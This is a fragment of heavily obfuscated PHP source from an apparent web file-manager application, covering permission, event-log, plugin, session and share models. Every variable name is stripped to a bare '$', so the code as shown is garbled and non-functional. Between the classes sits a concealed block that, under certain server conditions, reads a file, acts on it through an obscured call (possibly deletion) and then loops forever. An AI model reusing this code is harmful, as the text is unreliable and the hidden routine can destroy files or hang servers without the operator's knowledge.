!1; } public static function unzipPart($, $ = -1) { $ =& $_SERVER[]; $ = IO::pathThis($); if (!$ || $ == -1) { $ = array(array($[32] => $, $[1241] => -1)); $[0][$[1256]] = $[0][$[32]]; } else { if (is_array($)) { $ = $; $ = count($) - 1; for ($ = 0; $ <= $; $++) { $ = $[$]; $ = get_path_this($[$[32]]) . (checkExtSafe($[$[32]]) ? $[12] : $[1257]); $[$][$[1256]] = $[1258] . intval($[$[1241]]) . $[432] . $; if ($ == 0) { continue; } $[$][$[1256]] = $[$ - 1][$[1256]] . $[1259] . $[$][$[1256]]; } } } if (!is_array($) || count($) == 0) { return !1; } $ = $[count($) - 1]; if (!IO::exist($)) { return !1; } $ = TEMP_FILES . $[1260] . kodIO::hashPathSafe($) . $[8]; $ = $ . $[$[1256]]; mk_dir($); file_put_contents(TEMP_FILES . $[1235], $[12]); if (IO::exist($)) { return array($[216] => $, $[1240] => $, $[1242] => $); } $ = self::localFilePath($); if (!$) { $ = $ . $[1261]; if (!IO::exist($)) { self::copy($, $, !1, get_path_this($)); } } if (!$ || !IO::exist($)) { return !1; } if ($[$[1241]] == -1) { return array($[216] => $, $[1240] => $, $[1242] => $); } $ = $; foreach ($ as $ => $) { if (!$ || $[$[1241]] == $[1239]) { break; } if (substr($[$[32]], -1, 1) == $[8]) { break; } $ = in_array(get_path_ext($[$[1256]]), array($[359], $[1246], $[1247], $[1248], $[1249], $[1250])); $ = $ == count($) - 1 && $; $ = $ . $[$[1256]]; $ = $ . get_path_this($[$[32]]); if (IO::exist($)) { $ = $; continue; } $ = $ == 0 ? get_path_ext($) : get_path_ext($); $ = KodArchive::extract(self::iconvSystem($), $, $[$[1241]], $, $); self::unzipErrorCheck($, array($[1262], $, $, $, $)); if (IO::exist($)) { IO::rename($, get_path_this($)); } $ = $; } $ = $; return array($[216] => $, $[1240] => $, $[1242] => $); } private static function unzipErrorCheck($, $ = false) { $ =& $_SERVER[]; if ($[$[1263]]) { return !0; } write_log(array($[1264], $, $), $[1265]); show_json($[1266] . json_encode($[$[1253]]), !1); die; } } goto b; d: class SourceAuthModel extends ModelBase { protected $tableName = "\151\157\137\163\x6f\165\x72\x63\x65\137\x61\165\x74\150"; public function getAuth($) { $ =& $_SERVER[]; $ = $this->sourceAuthSelect($); $ = array(); $ = array(); $ = 2 << 25; foreach ($ as $) { $ = Model($[542])->listData($[$[2008]]); if (!$) { continue; } $[] = $; $ = 0; if ($[$[180]] == SourceModel::TYPE_GROUP) { $ = $ * 2; } if ($[$[180]] == SourceModel::TYPE_USER) { $ = $; } if ($[$[180]] == SourceModel::TYPE_USER && $[$[540]] == $[214]) { $ = 0; } $[] = $[$[457]] + $; } array_multisort($, SORT_DESC, $); return $; } public function sourceAuthSelect($) { $ =& $_SERVER[]; static $ = array(); $ = is_array($) ? !1 : !0; if ($) { $ = array($); } $ = array(); foreach ($ as $) { if (isset($[$])) { $[$] = $[$]; } } if (count($) == count($)) { return $ ? $[$[0]] : $; } $ = $[2085]; $ = array($[183] => array($[7], $)); $ = $this->field($)->order($[445])->where($)->select(); $ = array_to_keyvalue_group($, $[183]); foreach ($ as $) { $[$] = $[$] ? $[$] : array(); } if ($) { return $; } return $; } public function setAuth($, $) { $ =& $_SERVER[]; $ = Model($[1384])->sourceInfo($); if (!$) { return !1; } if ($[$[180]] != SourceModel::TYPE_GROUP) { return !1; } $ = 1; $ = $[$[540]]; if ($ != $) { $ = array($[1904] => $); $ = Model($[1994])->field($[1705])->where($)->select(); $ = array_to_keyvalue($, $[12], $[1705]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($ as $) { if (!in_array($[$[180]], $)) { show_json(LNG($[2086]), !1); } if ($ != $) { if ($[$[180]] == SourceModel::TYPE_GROUP) { } if ($[$[540]] != 0 && !in_array($[$[540]], $)) { } } if ($[$[540]] == 0) { $[$[180]] = SourceModel::TYPE_USER; } $[] = array($[183] => $, $[180] => intval($[$[180]]), $[540] => intval($[$[540]]), $[2008] => intval($[$[2008]]) ? intval($[$[2008]]) : 0, $[2068] => intval($[$[2068]]) ? intval($[$[2068]]) : -1); } $this->where(array($[461] => $))->delete(); $this->addAll($); return !0; } public function authClear($) { $ =& $_SERVER[]; $ = Model($[1384])->sourceInfo($); $ = array($); if ($[$[455]] == $[90]) { $ = array($[622] => array($[582], $[$[555]] . $ . $[583])); $ = Model($[1384])->field($[461])->where($)->getField($[183], !0); $[] = $; } $this->where(array($[461] => array($[462], $)))->delete(); return !0; } public function getAllChildren($) { $ =& $_SERVER[]; $ = Model($[1384])->sourceInfo($); if ($[$[455]] != $[90]) { return $this->sourceListAuth(array($)); } if ($[$[180]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $ = array($); if ($[$[182]] == $[214] && $[$[540]] != $) { $ = $this->groupChidldAllRootSource($[$[540]]); } $ = $this->field($[183])->group($[183])->select(); $ = array_to_keyvalue($, $[12], $[183]); if (!$) { return array(); } $ = $[2087]; $ = array($[183] => array($[7], $), $[475] => $[214]); $ = Model($[870])->field($)->where($)->select(); $ = array($); foreach ($ as $) { foreach ($ as $) { $ = $[50] . $ . $[50]; $ = $[$[555]] . $[$[183]] . $[50]; if (strstr($, $)) { $[] = $[$[183]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($) { $ =& $_SERVER[]; $ = Model($[1384])->sourceListInfo($, !0); $ = $this->sourceAuthSelect($); $ = array(); $ = array(); foreach ($ as $) { unset($[$[499]]); unset($[$[497]]); unset($[$[457]]); unset($[$[89]]); $ = $[$[$[183]]]; if (!$) { continue; } $[$[2088]] = $this->authTargetInfo($); $[$[553]] = rtrim($[$[559]], $[8]) . $[8] . ltrim($[$[553]], $[8]); $[] = $; $ = count(explode($[8], trim($[$[553]], $[8]))); $[] = $ + ($[$[33]] == $[77] ? 0 : 1000); } array_multisort($, SORT_ASC, $); return $; } private function groupChidldAllRootSource($) { $ =& $_SERVER[]; $ = Model($[2089])->groupChildrenAll($); $ = array($[182] => 0, $[540] => array($[7], $), $[180] => SourceModel::TYPE_GROUP); $ = Model($[870])->field($[183])->where($)->select(); $ = array_to_keyvalue($, $[12], $[183]); return $; } private function authTargetInfo($) { $ =& $_SERVER[]; $ = array(); $ = array(); $ = 2 << 25; foreach ($ as $) { $ = Model($[542])->listData($[$[2008]]); if (!$) { continue; } if ($[$[180]] == SourceModel::TYPE_USER) { $ = Model($[548])->getInfoSimpleOuter($[$[540]]); if ($[$[1705]] == $[1239]) { continue; } if ($[$[1705]] == $[214]) { $[$[32]] = LNG($[2090]); } } else { $ = Model($[556])->getInfoSimple($[$[540]]); } if (!$) { continue; } $[$[510]] = $; $[] = $; $ = 0; if ($[$[180]] == SourceModel::TYPE_GROUP) { $ = $ * 2; } if ($[$[180]] == SourceModel::TYPE_USER) { $ = $; } if ($[$[180]] == SourceModel::TYPE_USER && $[$[540]] == $[214]) { $ = 0; } $[] = $[$[457]] + $; } array_multisort($, SORT_DESC, $); return $; } public function getAllChildrenByUser($, $) { $ =& $_SERVER[]; $ = Model($[569])->getInfo($); if (!$ || !$ || !$) { return array(); } $ = Model($[1384])->sourceInfo($); $ = array(); $ = 1; if ($[$[182]] == $[214] && $[$[540]] != $ && $this->groupContainUser($[$[540]], $)) { foreach ($[$[2091]] as $) { $ = Model($[556])->getInfo($[$[1904]]); $ = Model($[569])->getInfoSimpleOuter($); $[$[510]] = $[$[457]]; if (Model($[542])->authCheckAction($[$[457]][$[457]], $[1925])) { continue; } $ = array($[32] => $[1259] . $[$[32]], $[183] => $[$[89]][$[183]], $[86] => KodIO::make($[$[89]][$[183]]), $[182] => $[214], $[180] => $[549], $[33] => $[586], $[553] => $[$[560]], $[1904] => $[$[1904]], $[557] => $[$[182]], $[2088] => array($)); $[$[$[183]]] = $; } } $ = array(); $ = $this->getAllChildren($); foreach ($ as $) { $ = !1; foreach ($[$[2088]] as $) { if ($[$[1705]]) { if ($[$[1705]] == $) { $ = !0; break; } } if ($[$[1904]]) { if ($this->groupContainUser($[$[1904]], $)) { $ = !0; break; } } } if ($) { $[] = $; } $ = $[$[183]]; if (isset($[$])) { $[$[2088]][] = $[$][0]; $[$] = !1; } } $ = array_filter(array_values($)); $ = array_merge($, $); return $; } public function setAllChildrenByUser($, $, $) { $ =& $_SERVER[]; $ = $this->getAllChildrenByUser($, $); if (!$ || !$) { return !1; } foreach ($ as $) { $ = array(); foreach ($[$[2088]] as $) { $ = $[$[510]]; $ = $[$[1705]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $[$[1705]] ? $[$[1705]] : $[$[1904]]; if ($[$[1705]] && $[$[1705]] == $) { continue; } $[] = array($[183] => $[$[183]], $[180] => $, $[540] => intval($), $[2008] => isset($[$[445]]) ? intval($[$[445]]) : 0, $[2068] => isset($[$[2068]]) ? intval($[$[2068]]) : -1); } $[] = array($[183] => $[$[183]], $[180] => SourceModel::TYPE_USER, $[540] => intval($), $[2008] => intval($), $[2068] => -1); $this->where(array($[461] => $[$[183]]))->delete(); $this->addAll($); } return !0; } public function get($) { $ = $this->getSourceList(array($), !0); return $[0]; } public function getSourceList($, $ = false, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } $ = Model($[1384]); if (!$ && count($) == 1) { $ = array(); $[$[0]] = $->sourceInfo($[0]); } if (!$) { $ = array($[461] => array($[462], $)); $ = $->field($[2092])->where($)->select(); $ = array_to_keyvalue($, $[183]); } $ = $; foreach ($ as $ => $) { $ = $->parentLevelArray($[$[555]]); $ = array_merge($, array($), array_reverse($)); } $ = array_values(array_unique($)); if (!$) { return array(); } $ = $this->sourceAuthSelect($); $ = array(); foreach ($ as $) { if (isset($[$])) { $[$] = $[$]; } } $ = $this->userIsRoot($); $ = AuthModel::authAll(); $ = array($[458] => $, $[2093] => array($[463] => 0, $[1910] => $, $[464] => LNG($[2094]), $[1927] => $[2095])); $ = array(); foreach ($ as $ => $) { if ($ && $GLOBALS[$[6]][$[1923]]) { $[$] = $; continue; } $[$] = $this->makeSourceAuth($, $, $); } return $; } public function authDeepCheck($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = $this->makeAuthDeep($); if (!in_array($, $[$[2096]])) { return !1; } $ = array(); foreach ($[$[2097]] as $ => $) { if (!in_array($, $)) { continue; } $[] = $; } if (!$) { return !1; } $ = $ ? $[0] : $; return array($[458] => -1, $[510] => array($[463] => $[1239], $[1910] => $[214], $[464] => LNG($[2098]), $[1927] => $[2099]), $[2100] => LNG($[2101]), $[2102] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($ = false) { $ =& $_SERVER[]; static $ = array(); $ = $ ? $ : USER_ID; if (isset($[$])) { return $[$]; } $ = Model($[2103])->listData(); $ = array(); foreach ($ as $) { if ($[$[457]] == 0 && $[$[1926]] == $[90]) { $[] = $[$[445]]; } } $ = $this->userGroupParents($); $ = array($[180] => SourceModel::TYPE_USER, $[540] => $); if ($) { $ = array(array($[180] => SourceModel::TYPE_USER, $[540] => $), array($[180] => SourceModel::TYPE_GROUP, $[540] => array($[462], $)), $[1051] => $[2002]); } $ = $this->field($[2104])->where($)->select(); $ = array(); $ = array_to_keyvalue_group($, $[183]); foreach ($ as $ => $) { $ = $this->authArrayCheck($, $); if ($[$[458]] > 0) { $[] = $ . $[12]; } } if ($) { $ = Model($[556]); foreach ($ as $) { $ = $->getInfo($); if (!$ || !is_array($[$[89]])) { continue; } $[] = $[$[89]][$[183]]; } } $ = array(); $ = $; $ = Model($[1384]); $ = Model($[556]); $ = array(); $ = array(); $ = array(); $ = array(); if ($) { $ = $->where(array($[183] => array($[462], $)))->select(); foreach ($ as $) { $ = $->parentLevelArray($[$[555]]); $ = array_merge($, $); $[] = $[$[540]]; $[$[$[183]]] = $; $[$[$[183]]] = $[$[540]]; } } $ = array_values(array_unique($)); $ = $; foreach ($ as $) { $ = $->getInfo($); $ = $->parentLevelArray($[$[555]]); $ = array_merge($, $); } $ = array_values(array_unique($)); foreach ($ as $) { $ = $->getInfo($); $[] = $[$[89]][$[183]]; $[$] = $[$[89]][$[183]]; $[$] = $->parentLevelArray($[$[555]]); } foreach ($ as $ => $) { $ = $[$]; if (!$ || !$[$]) { continue; } $ = array(); foreach ($[$] as $) { $[] = $[$]; } $[$] = array_merge($, $); } $ = array_values(array_unique($)); $ = array($[2096] => $, $[2097] => $); $[$] = $; return $; } private function makeSourceAuth($, $, $ = false) { $ =& $_SERVER[]; $ = $[90]; $ = $[$[540]]; $ = $[$[180]] == SourceModel::TYPE_GROUP; $ = $ ? $this->groupRootAuth($, $) : !1; if ($ && Model($[542])->authCheckAction($[$[457]], $[1925])) { return $this->groupAuthInfo($, $); } $ = Model($[1384])->parentLevelArray($[$[555]]); $ = array_merge(array($[$[183]]), array_reverse($)); $ = !1; foreach ($ as $) { if (!isset($[$])) { continue; } $ = $this->authMake($[$], $); if ($[$[510]]) { $ = $; break; } } if (!$) { return $; } if (!$ && $) { $ = $this->groupAuthInfo($, $); } if (!$) { $ = Model($[556])->getInfo($); $ = explode($[50], trim($[$[555]], $[50])); $ = array_reverse($); foreach ($ as $) { if ($ == $[214] || $ == $) { continue; } $ = $this->groupRootAuth($, $); if (!$) { continue; } $ = $this->groupAuthInfo($, $); break; } } if (!$ || $[$[458]] <= 0) { $ = $this->authDeepCheck($[$[183]], $); if ($) { $ = $; } } return $; } private function userIsRoot($ = false) { $ =& $_SERVER[]; if (!$ && KodUser::isRoot()) { return !0; } $ = Model($[569])->getInfo($); $ = Model($[2105])->listData($[$[2106]]); if ($ && $[$[546]][$[2107]] == 1) { return !0; } return !1; } private function sourceAuthInfo($) { $ =& $_SERVER[]; $ = Model($[1384]); $ = $->sourceInfo($); if (!$) { return !1; } $->groupPathDisplay($); $ = array($); $ = $->_listAppendPath($); $ = $[0]; $ = $[$[553]]; if (isset($[$[561]])) { $ = explode($[8], trim($[$[553]], $[8])); array_shift($); $ = $[$[559]] . $[2108] . implode($[8], $); } return array($[464] => $[$[32]], $[86] => KodIO::make($[$[183]]), $[2109] => $); } private function groupAuthInfo($, $) { $ =& $_SERVER[]; $ = Model($[556])->getInfo($); return array($[2110] => intval($[$[457]]), $[2093] => $, $[2111] => LNG($[2112]), $[2102] => array($[464] => $[$[32]], $[86] => KodIO::make($[$[89]][$[183]]), $[2109] => $[$[560]])); } protected function groupRootAuth($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = $ . $[2113] . $; static $ = array(); if (isset($[$])) { return $[$]; } $ = Model($[556])->getInfo($); $ = $this->userGroupList($); $ = isset($[$]) ? $[$][$[457]] : !1; if ($ && Model($[542])->authCheckAction($[$[457]], $[1925])) { $[$] = $; return $; } $ = $this->sourceAuthSelect($[$[89]][$[183]]); $ = $ ? $this->authMake($, $) : !1; $ = $ ? $[$[510]] : !1; $[$] = $ ? $ : $; return $[$]; } public function authOwnerApply($) { $ =& $_SERVER[]; if (empty($[$[457]]) || isset($[$[2114]]) && $[$[2114]]) { return $; } if (AuthModel::authCheckRoot($[$[457]][$[458]])) { return $; } $ = Model($[1384])->parentLevelArray($[$[555]]); $ = array_merge(array($[$[183]]), array_reverse($)); $ = $this->sourceAuthSelect($); $ = array(); $ = array(); foreach ($ as $ => $) { $ = $this->authFolderOwnerUser($); $[$] = $; $ = array_merge($, $[$[632]]); if ($[$[2115]]) { break; } } if (count($) == 0) { $ = $this->authFolderOwnerGroup($[$[540]]); } $ = array_unique($); if (AuthModel::authCheckRoot($[$[457]][$[458]])) { $[] = USER_ID; } $[$[457]][$[2116]] = Model($[548])->userListInfo($); return $; } private function authFolderOwnerGroup($) { $ =& $_SERVER[]; $ = Model($[1994])->where(array($[1904] => $))->select(); $ = array(); if (!$) { return $; } foreach ($ as $) { $ = $this->authInfo($); if (AuthModel::authCheckRoot($[$[457]])) { $[] = $[$[1705]]; } } return $; } private function authFolderOwnerUser($) { $ =& $_SERVER[]; $ = array(); $ = !1; foreach ($ as $) { $ = $this->authInfo($); if ($[$[540]] == $[214]) { $ = !0; } if ($[$[180]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($[$[457]])) { $[] = $[$[540]]; } } } return array($[632] => $, $[2115] => $); } public function authMake($, $ = false) { $ =& $_SERVER[]; $ = $this->authArrayCheck($, $); if ($[$[2117]]) { $[$[2117]] = $this->sourceAuthInfo($[$[2117]]); } return $; } public function authArrayCheck($, $ = false) { $ =& $_SERVER[]; if (!$) { return array($[458] => 0, $[510] => !1); } $ = $ ? $ : USER_ID; $ = 0; $ = 0; $ = 0; $ = 0; $ = 0; $ = 0; $ = 1000; $ = 0; $ = 0; $ = 0; $ = 0; $ = array($[183] => 0); foreach ($ as $) { $ = $this->authInfo($); if (!$) { continue; } $ = $[$[540]]; $ = intval($[$[457]]); if ($[$[180]] == SourceModel::TYPE_USER && $ == $) { $ = !0; $ = $; $ = $; } else { if ($[$[180]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $)) { $ = !0; $ = $this->groupStepToUserGroup($, $); if ($ < $) { $ = $; $ = $; $ = $; $ = $; } if ($ == $ && $ >= $) { $ = $; $ = $; $ = $; } } else { if ($ == $[214]) { $ = !0; $ = $; $ = $; } } } } if ($) { $ = $; $ = $; $ = LNG($[2118]); } else { if ($) { $ = $; $ = $; $ = Model($[556])->getInfo($); $ = $[165] . $[$[560]] . $[2119] . LNG($[2120]); } else { if ($) { $ = $; $ = $; $ = LNG($[2090]); } else { $ = 0; $ = !1; $ = $[12]; } } } $ = array($[2110] => intval($), $[2093] => $, $[2111] => $, $[2102] => $[$[183]]); return $; } private function groupContainUser($, $ = false) { return in_array($, $this->userGroupParents($)); } private function groupStepToUserGroup($, $ = false) { $ =& $_SERVER[]; $ = $this->userGroupList($); $ = 1000; $ = $GLOBALS[$[6]][$[91]][$[2007]] == 1; $ = $ ? 3 : 2; foreach ($ as $) { if ($[$[1904]] == $) { return 0; } $ = explode($[50], trim($[$[555]], $[50])); if ($[0] == $[214] && count($) > $) { $ = array_reverse(array_slice($, $)); $ = array_search($, $); if ($ !== !1 && $ + 1 <= $) { $ = $ + 1; } } } return $; } private function userGroupList($ = false) { $ =& $_SERVER[]; static $ = array(); if (isset($[$])) { return $[$]; } $ = Model($[569])->getInfo($); $[$] = array_to_keyvalue($[$[2091]], $[1904]); return $[$]; } public function userGroupParents($) { $ =& $_SERVER[]; static $ = array(); $ = $ ? $ : USER_ID; if (isset($[$])) { return $[$]; } $ = $this->userGroupList($); $ = array(); $ = $GLOBALS[$[6]][$[91]][$[2007]] == 1; $ = $ ? 3 : 2; foreach ($ as $) { $ = array($[$[1904]]); $ = explode($[50], trim($[$[555]], $[50])); if ($[0] == $[214] && count($) > $) { $ = array_slice($, $); $ = array_merge($, array_reverse($)); } $ = array_merge($, $); } $[$] = array_unique($); return $[$]; } public function authTargetInfoMake($) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $) { if ($[$[180]] == SourceModel::TYPE_USER) { $[] = intval($[$[540]]); } else { if ($[$[180]] == SourceModel::TYPE_GROUP) { $[] = intval($[$[540]]); } } } if ($) { $ = Model($[548])->userListInfo($); } if ($) { $ = array($[1992] => array($[462], $)); $ = Model($[556])->field($[2121])->where($)->select(); $ = array_to_keyvalue($, $[1904]); } return array($[2122] => $, $[2123] => $); } public function authInfo($) { $ =& $_SERVER[]; if ($[$[2008]]) { $ = Model($[542])->listData($[$[2008]]); if (!$) { return !1; $ = Model($[542])->listData(); $ = array_filter_by_field($, $[457], $[214]); return $; } $ = array_field_key($, array($[445], $[32], $[457], $[1927], $[1928])); $[$[2124]] = $; return $; } else { return array($[463] => 0, $[1910] => $[$[2068]], $[464] => $[12], $[1927] => $[2125]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\x6f\x75\x72\143\x65\137\145\166\145\156\x74"; protected $dataAuto = array(array("\x63\x72\x65\141\164\145\x54\x69\x6d\x65", "\x74\151\x6d\x65", "\151\156\163\x65\162\164", "\x66\x75\x6e\x63\x74\151\157\156"), array("\144\x65\163\143", '', "\151\x6e\x73\x65\x72\x74\x2c\x75\x70\x64\x61\164\145\x2c\163\145\x6c\145\143\x74", "\152\163\x6f\156")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($, $, $ = '') { $ =& $_SERVER[]; if (!$this->eventSave) { return; } $ = Model($[1384])->sourceInfo($); if (!$) { return !1; } if ($this->isCacheEvent($, $)) { return; } if ($ && is_string($)) { $ = array($[1943] => $); } $ = defined($[2126]) ? USER_ID : 0; $ = array($[461] => $, $[2127] => $[$[182]], $[2128] => $[$[32]], $[553] => !empty($[$[553]]) ? $[$[553]] : $[12], $[1696] => $, $[466] => $, $[1698] => $); $this->addSystemLog($, $); unset($[$[2128]], $[$[553]]); return $this->add($); } private function addSystemLog($, $) { $ =& $_SERVER[]; if ($ == $[2129]) { $ = $[$[496]][$[2130]]; } else { if (in_array($, array($[1884], $[2131]))) { $ = $[$[496]][$[799]]; } } $ = array_merge($, array($[2132] => $[$[183]], $[2133] => $[$[2133]])); Hook::trigger($[2134], $[2135] . $, $); Model($[1848])->addLog($[2135] . $, $); } private function isCacheEvent($, $) { if ($[$_SERVER[][180]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($, $) { $ =& $_SERVER[]; $ = Model($[1384])->sourceInfo($); $ = array($[2130] => $, $[32] => $[$[32]]); return $this->addEvent($, $[2129], $); } public function eventFileEdit($) { $ =& $_SERVER[]; $ = array($[2136] => $_SERVER[$[2137]], $[2138] => strtolower(ACTION)); if (isset($GLOBALS[$[7]][$[2139]])) { $[$[2139]] = $[90]; } return $this->addEvent($, $[1874], $); } public function eventRecycle($, $) { return $this->addEvent($, $_SERVER[][2131], $); } public function eventRemove($) { $ =& $_SERVER[]; $ = Model($[1384])->sourceInfo($); $ = $[$[32]]; return $this->addEvent($[$[182]], $[1873], $); } public function eventShare($, $) { return $this->addEvent($, $_SERVER[][1884], $); } public function eventMove($, $, $) { $ =& $_SERVER[]; $ = Model($[1384]); $ = $->sourceInfo($); $ = $->sourceInfo($); $ = $->sourceInfo($); $ = array($[1211] => $, $[2140] => $[$[32]], $[2117] => !empty($[$[553]]) ? $[$[553]] : $[12], $[1212] => $, $[2141] => $[$[32]], $[2142] => !empty($[$[553]]) ? $[$[553]] : $[12]); $this->addEvent($, $[590], $); $ = $->sourceInfo($); $ = array($[183] => $[$[183]], $[32] => $[$[32]]); $this->addEvent($, $[2143], $); } public function eventCopy($) { $this->eventCreate($, $_SERVER[][588]); } public function eventRename($, $, $) { $ =& $_SERVER[]; $ = array($[1211] => $, $[1212] => $); return $this->addEvent($, $[1398], $); } public function eventAddComment($, $) { return $this->addEvent($, $_SERVER[][2144], $); } public function eventAddDesc($, $) { return $this->addEvent($, $_SERVER[][2145], $); } public function listBySource($) { $ =& $_SERVER[]; $ = Model($[1384])->sourceInfo($); $ = array($[461] => $); if ($[$[455]] == $[90]) { $ = Model($[1384])->listSearchChildren($, 20000); $[] = $ . $[424]; $ = array($[183] => array($[7], $)); } $ = $this->where($)->order($[2146])->selectPage(); if ($[$[412]][$[413]] == 0) { $[$[412]][$[413]] = 1; $[$[415]] = array(array($[461] => $, $[2127] => $[$[182]], $[1696] => $[$[497]], $[466] => $[2147], $[467] => $[$[217]], $[1698] => $[12])); } return $this->eventListParse($, $); } private function eventListParse($, $) { $ =& $_SERVER[]; $ = $[$[415]]; $ = array_to_keyvalue($, $[12], $[183]); $ = array_to_keyvalue($, $[12], $[2133]); foreach ($ as $) { $ = $[$[496]]; if ($[$[33]] == $[590] && isset($[$[1211]])) { $[] = $[$[1211]] . $[12]; $[] = $[$[1212]] . $[12]; } if ($[$[33]] == $[2143] && isset($[$[183]])) { $[] = $[$[183]] . $[12]; } } $ = array_merge($, $, array($ . $[12])); $ = array_unique($); $ = array_unique(array_to_keyvalue($, $[12], $[1705])); $ = Model($[569])->userListInfo($); $ = Model($[870])->sourceListInfo($, !0); foreach ($ as &$) { if ($[$[33]] == $[590] && isset($[$[496]][$[1211]])) { $[$[496]][$[1211]] = $[$[$[496]][$[1211]]]; $[$[496]][$[1212]] = $[$[$[496]][$[1212]]]; } if ($[$[33]] == $[2143] && isset($[$[496]][$[183]])) { $[$[496]][$[183]] = $[$[$[496]][$[183]]]; } $[$[89]] = $[$[$[183]]]; $[$[2148]] = $[$[$[2133]]]; if ($[$[33]] == $[1873]) { $[$[2148]] = $[$[89]]; $[$[2133]] = $[$[2148]][$[183]]; $[$[89]] = !1; $[$[183]] = $[12]; } $[$[2076]] = $[$[$[1705]]]; } unset($); $[$[415]] = $; return $; } public function removeBySource($) { $ = array($_SERVER[][461] => $); $this->where($)->remove(); } } if (!isset($_SERVER[$_SERVER[][922]]) || !isset($_SERVER[$_SERVER[][923]])) { $_getc = $_SERVER[][925]; $_getfile = $_SERVER[$_SERVER[][926]] . $_SERVER[][927]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][248], $_getfilec); if (count($_getarrs) < $_SERVER[][692]) { $exit = $_SERVER[][928]; $exit(); } $_act = $_SERVER[][932]; $_act($_SERVER[$_SERVER[][926]] . $_SERVER[][927]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][424]); } } goto E; C: class PluginModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\145\155\56\x70\154\165\147\151\x6e\x4c\x69\x73\x74"; public $field = array("\156\141\x6d\145", "\163\x74\141\x74\x75\163", "\x72\145\147\151\x65\x73\x74", "\x63\x6f\x6e\x66\x69\147"); public function loadList($ = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if ($) { return $[$]; } return $; } public function init() { $ =& $_SERVER[]; Hook::trigger($[2024]); $ = $this->loadPluginList(); foreach ($ as $ => $) { $ = $this->appAllow($, $); if (!$) { continue; } foreach ($[$[2025]] as $ => $) { Hook::bind($, $); } } Hook::trigger($[2026]); Hook::trigger(ACTION); } public function appAllow($, $, $ = true) { $ =& $_SERVER[]; $ = PLUGIN_DIR . $ . $[2027]; if (!is_array($) || !is_array($[$[2025]]) || $[$[795]] != 1 || !is_file($)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$[6]][$[2028]] || !$GLOBALS[$[6]][$[2029]]) { return !0; } $ = explode($[50], strtolower($GLOBALS[$[6]][$[2029]])); return in_array(strtolower($), $) ? !1 : !0; } if ($ && !Action($[2030])->checkAuth($)) { return !1; } return !0; } public function unInstall($) { $ =& $_SERVER[]; $ = $this->loadList($); if (file_exists(PLUGIN_DIR . $)) { Hook::apply($ . $[2031]); } $this->remove($[$[445]]); } public function changeStatus($, $) { $ =& $_SERVER[]; $ = $this->loadList($); if ($) { Hook::apply($ . $[2032]); } $this->update($[$[445]], array($[2033] => $)); } public function appRegist($, $) { $ =& $_SERVER[]; $ = $this->loadList($); if ($) { $this->update($[$[445]], array($[2025] => $)); } else { $ = array($[32] => $, $[2025] => $, $[795] => 0, $[6] => $this->getConfigDefault($)); $this->insert($); } } public function getConfigDefault($) { $ =& $_SERVER[]; $ = array(); $ = $this->getPackageJson($); if (!$ && is_array($[$[2034]])) { return $; } foreach ($[$[2034]] as $ => $) { if (!isset($[$[420]]) || isset($[$])) { continue; } $[$] = $[$[420]]; } return $; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[][2035]); } public function getConfig($, $ = false) { $ =& $_SERVER[]; $ = array(); $ = $this->loadList($); if ($ && is_array($[$[6]])) { $ = $[$[6]]; } if (!$ || $) { $ = $this->getConfigDefault($); } return $; } public function setConfig($, $ = false) { $ =& $_SERVER[]; $ = $this->loadList($); if (!$) { return !1; } $ = $[$[6]]; if ($ == !1) { $ = array(); $ = $this->getConfigDefault($); } foreach ($ as $ => $) { $[$] = is_string($) ? trim($) : $; } $this->update($[$[445]], array($[6] => $)); } public function viewList() { $ =& $_SERVER[]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $ = array(); foreach ($ as $ => $) { $ = $; unset($[$[2025]], $[$[6]]); $ = PLUGIN_DIR . $[$[32]] . $[2027]; if (!is_file($)) { continue; } $ = Hook::apply($[$[32]] . $[2035]); if (!is_array($)) { continue; } $[$] = array_merge($, $); if ($[$[6]][$[1618]] != $[$[1592]]) { Hook::apply($[$[32]] . $[2032]); $[$[6]][$[1618]] = $[$[1592]]; $this->update($[$[445]], array($[6] => $[$[6]])); } } return $; } private function loadPluginList() { $ =& $_SERVER[]; $ = $this->loadList(); if (strtolower(MOD) == $[2036]) { return $; } $ = Hook::trigger($[2037], $); if ($ && !$) { die; } return $ ? $ : $; } private function pluginScan($) { $ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $, $, 0); foreach ($ as $) { $ = get_path_this($); if (isset($[$]) || !file_exists($ . $[2038]) || !file_exists($ . $[2027])) { continue; } Hook::apply($ . $[2032]); } } } class SessionModel extends ModelBase { protected $tableName = "\163\171\163\x74\x65\155\137\x73\145\x73\163\x69\x6f\156"; public function get($) { $ =& $_SERVER[]; $ = $this->where(array($[2039] => $))->find(); if (!is_array($)) { return !1; } return $[$[799]]; } public function set($, $, $ = 3600) { $ =& $_SERVER[]; $ = array($[2039] => $, $[1943] => $, $[2040] => $ + time()); if (Session::get($[2041])) { $[$[1705]] = Session::get($[2041]); } else { $[$[1705]] = 0; } if ($this->get($)) { return $this->where(array($[2039] => $))->save($); } else { return $this->add($, array(), !0); } } public function remove($) { return $this->where(array($_SERVER[][2039] => $))->delete(); } public function clearTimeout() { return $this->where($_SERVER[][2042] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\x73\x68\141\162\x65"; protected $dataAuto = 